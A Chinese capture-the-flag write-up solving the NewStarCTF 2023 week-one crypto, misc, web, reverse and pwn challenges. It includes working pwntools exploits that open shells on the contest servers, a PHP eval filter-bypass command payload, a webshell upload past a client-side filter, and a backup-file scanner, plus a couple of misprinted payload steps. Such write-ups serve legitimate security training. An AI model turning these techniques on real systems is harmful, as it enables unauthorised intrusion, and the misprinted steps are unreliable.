NewStarCTF2023,或者应该叫OldBirdCTF🤣本文为第一周所有题目的题解,可能与官方wp有出入,请见谅。

Week1

Crypto

Caesar’s Secert

image-20230925095953171

brainfuck

image-20230925100147774

Fence

image-20230925100254640

Small d

低解密指数问题,使用sage脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# sage
def rational_to_contfrac(x,y):
# Converts a rational x/y fraction into a list of partial quotients [a0, ..., an]
a = x // y
pquotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
pquotients.append(a)
return pquotients

def convergents_from_contfrac(frac):
# computes the list of convergents using the list of partial quotients
convs = [];
for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0 : i]))
return convs

def contfrac_to_rational (frac):
# Converts a finite continued fraction [a0, ..., an] to an x/y rational.
if len(frac) == 0: return (0,1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num
return (num, denom)

c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433


def egcd(a, b):
if a == 0: return (b, 0, 1)
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)

def mod_inv(a, m):
g, x, _ = egcd(a, m)
return (x + m) % m

def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x

def crack_rsa(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)

for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
# check if x*x - s*x + n = 0 has integer roots
D = s * s - 4 * n
if D >= 0:
sq = isqrt(D)
if sq * sq == D and (s + sq) % 2 == 0: return d

d = crack_rsa(e, n)
m = hex(pow(c, d, n))[2:]
print(bytes.fromhex(m))

image-20230925100507632

babyrsa

使用yafu分解大整数

image-20230925101103990

分析本题为多幂因子n

本题脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import gmpy2
import binascii
P1 = 3207148519
P2 = 4278428893
P3 = 4093178561
P4 = 2970591037
P5 = 2370292207
P6 = 2706073949
P7 = 2338725373
P8 = 3654864131
P9 = 3939901243
P10 = 2463878387
P11 = 2923072267
P12 = 2804303069
P13 = 3831680819
P14 = 2217990919
P15 = 2794985117
e = 65537
n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

phi_n = 1
for i in range(1,16):
value = eval('P' + str(i))
phi_n *= value-1
print(phi_n)
d = gmpy2.invert(e, phi_n)
m = gmpy2.powmod(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))

得到flag

image-20230925102141088

Vigenère

先把flag标志爆出来

image-20230925103019305

考虑括号内的语义

5ign0r较为有语义,考虑密钥为6位,那么猜个kfckfc

得到flag,感觉是法语

image-20230925103900653

babyxor

使用python脚本爆破key

1
2
3
4
5
6
7
8
9
10
from binascii import a2b_hex
ciphertext=b'e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2'
for key in range(255):
flag=''
for i in range(len(ciphertext)//2):
c = int(ciphertext[i*2:i*2+2],base=16)
flag+=(chr(c^key))
if('flag' in flag):
print(flag)
exit()

得到flag

image-20230925144531922

Affine

仿射变化,只是两个参数都没给,直接爆破

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import libnum
ciphertext='dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064'
def decrypt(c,key0,key1):
c=eval('0x'+c)
for i in range(256):
if((c+256*i-key1)%key0==0):
return (c+256*i-key1)//key0
return -1

for key0 in range(1,256):
for key1 in range(256):
flag=''
length=len(ciphertext)//2
for i in range(length):
f = decrypt(ciphertext[i*2:i*2+2],key0,key1)
if(f<0):
break
flag+=chr(f)
if('flag' in flag):
print(flag)
exit()

得到flag

image-20230925144405575

babyencoding

题目如下:

1
2
3
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

前两部分分别为base64和base32

解出得到前两部分分别为flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7

第三部分由于只出现大写字母,猜测为uuencode

image-20230925150033931

得到第三部分

所以最终flag为flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

babyaes

分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *


def pad(data):
return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])


def main():
flag_ = pad(flag)
key = os.urandom(16) * 2
iv = os.urandom(16)
print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.encrypt(flag_)
print(enc_flag)


if __name__ == "__main__":
main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

由于key由2个重复的16位组成,与iv异或时,高位不会发生变化

所有可以直接通过key的高位复原key,进而得到iv

exp脚本如下:

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import AES
from Crypto.Util.number import *
enc_flag=b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
ivorkey=long_to_bytes(3657491768215750635844958060963805125333761387746954618540958489914964573229)
key_high=ivorkey[0:16]
key=key_high*2
iv=long_to_bytes(bytes_to_long(key_high)^bytes_to_long(ivorkey[16:]))
aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(enc_flag)
print(flag)

得到flag

image-20230925152617899

括上flag{},即flag{firsT_cry_Aes}

Misc

CyberChef’s Secret

如题,使用CyberChef的自动识别

image-20230925112321042

得到flag

image-20230925112336817

机密图片

扫码发现没有flag

使用stegsolve分析

在Red0、Green0和Blue0中看到额外信息

image-20230925113205146

image-20230925185716710

image-20230925185728527

考虑RGB隐写

image-20230925185825658

空白格

这题考到Whitespace语言,具体参考这篇文章[由空格等不可见字符组成的隐写文件隐写空格回车_M3ng@L的博客-CSDN博客](https://blog.csdn.net/qq_51999772/article/details/122418926)

到在线解码网站Whitelips the Whitespace IDE (vii5ard.github.io)

image-20230925192153618

flag为flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}

流量!鲨鱼!

查找flag

image-20230925192453423

找到状态码为200的响应报文,发现base64码

image-20230925224945277

使用cyberchef自动解码

image-20230925225154015

隐秘的眼睛

题目翻译成英文即SilentEye,经典的图片隐写工具

把图片丢进去解密即可

image-20230926002512439

压缩包们

用010editor打开,看到关键词PK,发现其中有flag.zip压缩包

image-20230925201225379

发现一段base64(出题人怎么这么喜欢base64)

image-20230925225420878

解码得到I like six-digit numbers because they are very concise and easy to remember.

说明密码为6位数

使用爆破工具AZPR,设为全数字、六位数

image-20230925225759492

得到密码232311

解压flag.zip,得到flag.txt

image-20230925230417811

Web

ErrorFlask

只传一个参数,页面报错

查看错误信息,泄露的源码中有flag

image-20230925123930572

Begin of HTTP

访问站点

image-20230925124551298

传参R1ck

image-20230925124621556

查看源码,找到secret

image-20230925124719843

解base64得到n3wst4rCTF2023g00000d,传入

image-20230925124855219

再用post传一次

image-20230925130250381

发现cookie中有power字段

image-20230925130245496

改为ctfer

image-20230925130652453

修改user-agent

image-20230925131202476

image-20230925131212534

增加Referer字段

image-20230925132256888

image-20230925132308681

本地用户添加一些IP代理字段并设为127.0.0.1即可

image-20230925134547137

得到flag

image-20230925134600449

泄漏的密码

既然提到了泄漏文件,使用脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url1 = 'http://fa0d9f5f-084e-4042-b31d-20fe4a3886f6.node4.buuoj.cn:81/' # url为被扫描地址,后不加‘/’

# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp','data','db','code','admin','user','sql','index.php']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz','zip','rar','bak','old' ,'temp','_index.html','swp','sql','tgz']

for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(requests.get(url).status_code)

扫出一个www.zip

image-20230925214808689

解压后发现还包括robots.txt文件

image-20230925214946767

先从index.php找到后面一半

image-20230925215019314

robots中有前一半

image-20230925215244923

完整flag为flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

上传一句话木马,发现扩展名有过滤

image-20230926003046763

查看源码,过滤功能由JS控制

image-20230926003157460

关闭页面JS后重新上传

使用antsword连接

主目录下找到flag

image-20230926012531464

Begin of PHP

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

第一关要求输两个md5值相同的字符串

此处利用的原理为:处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同

网上找两个,key1 = “s878926199a” key2 = “s155964671a”

payload1为?key1=s878926199a&key2=s155964671a

这题不知道为啥用burp连不上,所以只能用hackbar

image-20230925154610852

第二关考点是利用数组绕过

原理是Md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断

payload2为key3[]=1

image-20230925160004162

第三关考点是strcmp函数绕过

原理是利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0

payload3为key4[]=1

image-20230925160433472

第四关

is_numeric函数用于检测变量是否为数字或数字字符串

但由于php中用字符串与数字比较时,若字符串首位为数字,php会读取直至不是数字的那一位,并将字符串转为数字,我们可以把key5构造为2024a

即payload4为echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); }

image-20230925161628746

第五关利用extract() 函数覆盖flag5的值,随便传个符号使其判断为True,此时Key3[]中的值也会过滤,所以也需要换成符号

image-20230926094532666

R!C!E!

本题源码如下

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

首先对变量password有要求

md5值前6个字符需要为c4d038,和crypto中的pow类似,直接把那边的脚本搬过来

1
2
3
4
5
6
7
8
9
import string
from hashlib import md5
import itertools
alphabet = string.ascii_letters + string.digits
for x in itertools.product(alphabet, repeat=16):
nonce = ''.join(x)
if (md5(nonce.encode()).hexdigest()[0:6] == 'c4d038'):
print(nonce)
exit()

跑出一个aaaaaaaaaaabOWCK

由于命令执行函数systempassthru都被过滤了

使用exec()

而cat和ls指令也被过滤,使用tac代替cat

这里还有一个考点,即php中变量名只能为数字字母和下划线

但如果传参出现[后,[会被替换为下划线,而之后的特殊字符保留

构造payload为password=aaaaaaaaaaabOWCK&e[v.a.l=echo exec("cd /;find f*");

image-20230926125822199

发现flag在主目录下

执行password=aaaaaaaaaaabOWCK&e[v.a.l=echo exec("cd /;tac f*");,获得flag

image-20230926125934187

EasyLogin

先用dirsearch扫一扫

image-20230926130650433

在登陆界面登录后进入一个类似terminal的界面,查看源码

image-20230926131459654

截取一段比较有价值的信息

1
le.history.push("echo -en '\\nnewstar\\nnewstar2023' >> weak-passwd.txt && \\\nexport PASSWORD=`shuf weak-passwd.txt | head -n 1` && \\\nrm -rf weak-passwd.txt"),

注册界面看看admin用户存不存在

image-20230927235142995

那么这题重心大概率还是在这个登录界面上

使用burpsuite抓包,爆破admin的密码,需要注意的是密码有一层md5

image-20230928101906750

跑出一个,MD5值为670b14728ad9902aecba32e22fa4f6bd,解码出来为000000

登录上去发现源码多了一条

image-20230928102355836

用burp抓包登录成功的响应

找到flag

image-20230928102555301

Reverse

easy_RE

使用IDA分析,找到flag

image-20230925191550906

image-20230925191611643

flag为flag{we1c0me_to_rev3rse!!}

Segments

按提示shift+F7打开segments

切片名称组成了flag

image-20230925211753068

flag{You_ar3_g0od_at_f1nding_ELF_segments_name}

题目名字暗示脱壳

丢到exeinfo

image-20230927114230516

检测到UPX加壳

脱壳

image-20230927130931173

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // r10
char *v4; // kr00_8
char Str1[96]; // [rsp+20h] [rbp-88h] BYREF
int v7; // [rsp+80h] [rbp-28h]

_main();
memset(Str1, 0, sizeof(Str1));
v7 = 0;
Hello();
scanf("%s", Str1);
for ( i = 0i64; ; ++i )
{
v4 = &Str1[strlen(Str1)];
if ( i >= v4 - Str1 )
break;
++Str1[i];
}
if ( !strncmp(Str1, enc, v4 - Str1) )
puts("WOW!!");
else
puts("I believe you can do it!");
system("pause");
return 0;
}

enc为gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~

代码的功能为读取用户输入Str1后将 Str1 中每个字符的 ASCII 值逐个加1,再将Str1与enc进行比较

那么我们将enc的每个字符的 ASCII 值逐个减1就能还原flag

写个python脚本

1
2
3
4
5
enc='gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~'
flag=''
for e in enc:
flag+=chr(ord(e)-1)
print(flag)

得到flag

image-20230927134346768

ELF

反编译后源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // edx
char *s1; // [rsp+0h] [rbp-20h]
char *v6; // [rsp+8h] [rbp-18h]
char *s; // [rsp+10h] [rbp-10h]

s = (char *)malloc(0x64uLL);
printf("Input flag: ");
fgets(s, 100, stdin);
s[strcspn(s, "\n")] = 0;
v6 = encode(s);
v3 = strlen(v6);
s1 = (char *)base64_encode(v6, v3);
if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") )
puts("Correct");
else
puts("Wrong");
free(v6);
free(s1);
free(s);
return 0;
}

分析源码,程序对flag进行了两次加密,第二次为base64

直接分析第一次加密encode()函数

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_BYTE *__fastcall encode(const char *a1)
{
size_t v1; // rax
int v2; // eax
_BYTE *v4; // [rsp+20h] [rbp-20h]
int i; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]

v1 = strlen(a1);
v4 = malloc(2 * v1 + 1);
v6 = 0;
for ( i = 0; i < strlen(a1); ++i )
{
v2 = v6++;
v4[v2] = (a1[i] ^ 0x20) + 16;
}
v4[v6] = 0;
return v4;
}

编写解题脚本

1
2
3
4
5
6
7
import base64
enc='VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t'
flag=''
enc = base64.b64decode(enc).hex()
for i in range(len(enc)//2):
flag+= chr((int(enc[i*2:i*2+2],16)-16)^0x20)
print(flag)

解出flag

image-20230927143345417

Endian

checksec一下

image-20230927153451241

64位小端

反编译后源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-3Ch]
char *v5; // [rsp+8h] [rbp-38h]
char v6[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
puts("please input your flag");
__isoc99_scanf("%s", v6);
v5 = v6;
for ( i = 0; i <= 4; ++i )
{
if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) )
{
printf("wrong!");
exit(0);
}
v5 += 4;
}
printf("you are right");
return 0;
}

array数组为[0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]

逻辑非常简单,flag的ASCII码正好可以通过5轮异或得到,直接编写exp脚本

需要注意的是,由于采取的是小端存储,所以array中的每个元素需要倒着处理后加到flag上

1
2
3
4
5
6
7
array=[0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
flag=''
for h in array:
h = str(hex(h^0x12345678))
for j in range(1,5):
flag+=chr(int(h[10-j*2:12-j*2],16))
print(flag)

image-20230927153257531

补个右括号

AndroXor

丢进jadx反编译,在AndroidManifest找到主入口

image-20230927154752737

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class MainActivity extends AppCompatActivity {
private ActivityMainBinding binding;

static {
System.loadLibrary("androxor");
}

public String Xor(String str, String str2) {
char[] cArr = {14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r'};
char[] cArr2 = new char[str.length()];
String str3 = str.length() != 25 ? "wrong!!!" : "you win!!!";
for (int i = 0; i < str.length(); i++) {
char charAt = (char) (str.charAt(i) ^ str2.charAt(i % str2.length()));
cArr2[i] = charAt;
if (cArr[i] != charAt) {
return "wrong!!!";
}
}
return str3;
}

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
this.binding = inflate;
setContentView(inflate.getRoot());
final EditText editText = (EditText) findViewById(R.id.password);
((Button) findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() { // from class: com.chick.androxor.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String obj = editText.getText().toString();
MainActivity mainActivity = MainActivity.this;
Toast.makeText(mainActivity, mainActivity.Xor(obj, "happyx3"), 1).show();
Log.d("输入", editText.getText().toString());
}
});
}
}

给Xor()传入的参数中str为用户输入,str2为happyx3

编写exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cArr = [14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r']
str2='happyx3'
def isint(x):
return isinstance(x,int)
flag=''
for i in range(25):
a = cArr[i]
b = str2[i%7]
if(not isint(a)):
a = ord(a)
if(not isint(b)):
b = ord(b)
flag += chr(a^b)
print(flag)

image-20230927162225707

lazy_activity

查看AndroidManifest.xml 文件

发现app除了主入口还有一个FlagActivity,且android:exported属性设置为false,说明不允许让外部组件启动这个Activity

查看源码,发现该节目的资源文件为R.layout.layout_2

image-20230927192340469

查看资源文件,发现flag

image-20230927192428416

EzPE

该PE文件无法执行,猜测是文件头被篡改

PE文件开头一般会有ASCII码MZ

用010查看发现被改成了WZ

image-20230927193619682

同时PE头指向错误

image-20230927200051110

修改成功后该可执行文件可以打开

还是老规矩丢进IDA

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+2Ch] [rbp-4h]

_main(argc, argv, envp);
puts(&draw);
puts("Please enter your flag!\n");
scanf("%s", input);
for ( i = 0; i < strlen(input) - 1; ++i )
input[i] ^= i ^ input[i + 1];
if ( !strcmp(input, data) )
puts("You Win!");
else
puts("You lose!");
system("pause");
return 0;
}

此处比较处理后的flagdata是否相等

查看data发现数组大小有问题,调整为64

image-20230927203650452

data=[0x0A, 0x0C, 4, 0x1F,0x26, 0x6C, 0x43, 0x2D, 0x3C, 0x0C, 0x54, 0x4C, 0x24, 0x25, 0x11, 6, 5, 0x3A, 0x7C, 0x51, 0x38, 0x1A, 3, 0x0D, 1, 0x36, 0x1F, 0x12, 0x26, 4, 0x68, 0x5D, 0x3F, 0x2D, 0x37, 0x2A, 0x7D, 0x1B]

编写exp

1
2
3
4
5
data=[0x0A, 0x0C, 4, 0x1F,0x26, 0x6C, 0x43, 0x2D, 0x3C, 0x0C, 0x54, 0x4C, 0x24, 0x25, 0x11, 6, 5, 0x3A, 0x7C, 0x51, 0x38, 0x1A, 3, 0x0D, 1, 0x36, 0x1F, 0x12, 0x26, 4, 0x68, 0x5D, 0x3F, 0x2D, 0x37, 0x2A, 0x7D, 0x1B]
flag='f'
for i in range(len(data)-2):
flag+= chr(i^data[i]^ord(flag[i]))
print(flag)

image-20230927205011882

Pwn

ret2text

首先checksec一下

image-20230927002554341

开启了堆栈不可执行保护

丢到IDA看到backdoor函数

image-20230926223355053

命令执行函数地址为0x004011FB

buf距离rbp的距离为0x20

image-20230926225334300

或者用gdb找到溢出点

1
2
gdb-peda$ pattern_create 400 in.txt
gdb-peda$ r < in.txt

image-20230927085314145

exp如下

1
2
3
4
5
6
7
from pwn import *
conn = remote('node4.buuoj.cn',29234)
success_addr = 0x4011FB
payload = b'a' * 40 + p64(success_addr)
conn.recvuntil(b"magic\n")
conn.sendline(payload)
conn.interactive()

成功getshell

image-20230927093615333

newstar_shop

丢到IDA反编译

image-20230926132549618

首先查看shop()函数

获得hint:What will happen when int transfer to unsigned int?

猜测这题考点就是C语言中正整数溢出机制,即让钱数变为负数则会溢出

同时得知钱足够即可获得shell

查看dont_try()函数

发现选择该选项会扣钱

image-20230926133618625

找到变量money的初始值为100

image-20230926134901312

所有我们可以先买两个商品2和一个商品1

然后选3把钱扣成负数

连上nc测试一下

image-20230926135301777

image-20230926135320088

image-20230926135330786

Random

阅读反编译后的源码

本题使用time()返回的值作为随机数种子

使用python的ctypes库在本地模拟

image-20230927110110215

这里只给两个字符,大概率执行命令sh

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
import random
from ctypes import *
from pwn import *
context.log_level = 'debug'

conn = remote('node4.buuoj.cn',26460)
libc =cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
conn.recvuntil(b'can you guess the number?')
conn.sendline(libc.rand().encode())
conn.sendline(b'cat flag')
conn.interactive()

image-20230927112725422

ezshellcode

查看arch

image-20230927214910208

反编译源码如下:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init();
buf = (void *)(int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
puts("Welcome to NewStar CTF!!");
puts("Show me your magic");
read(0, buf, 0x100uLL);
JUMPOUT(0x66660000LL);
}

shellcode地址为0x66660000

buf被映射到shellcode处

那就不用垫了,直接把shellcode写进buf

exp如下:

1
2
3
4
5
6
7
from pwn import *
conn = remote('node4.buuoj.cn',27801)
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.sh())
conn.recvuntil(b"magic\n")
conn.sendline(shellcode)
conn.interactive()

成功getshell

image-20230927222426938

image-20230927222712912

p1eee

checksec一下,发现开了pie

image-20230927224509401

查看IDA反编译源码

sub_1264()函数为后门

可以利用sub_120E()覆盖返回地址到后门

image-20230928111714741

image-20230928111738385

由于开了PIE保护,修改后两位的相对地址即可

image-20230928111904249

image-20230928134120852

编写exp, 后门需要+5跳过push rbp

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
conn = remote('node4.buuoj.cn',26204)
success_addr = 0x69
payload = b'a' * 0x28 + p64(success_addr)
conn.recvuntil(b"pie!!!\n")
conn.sendline(payload)
conn.interactive()

成功getshell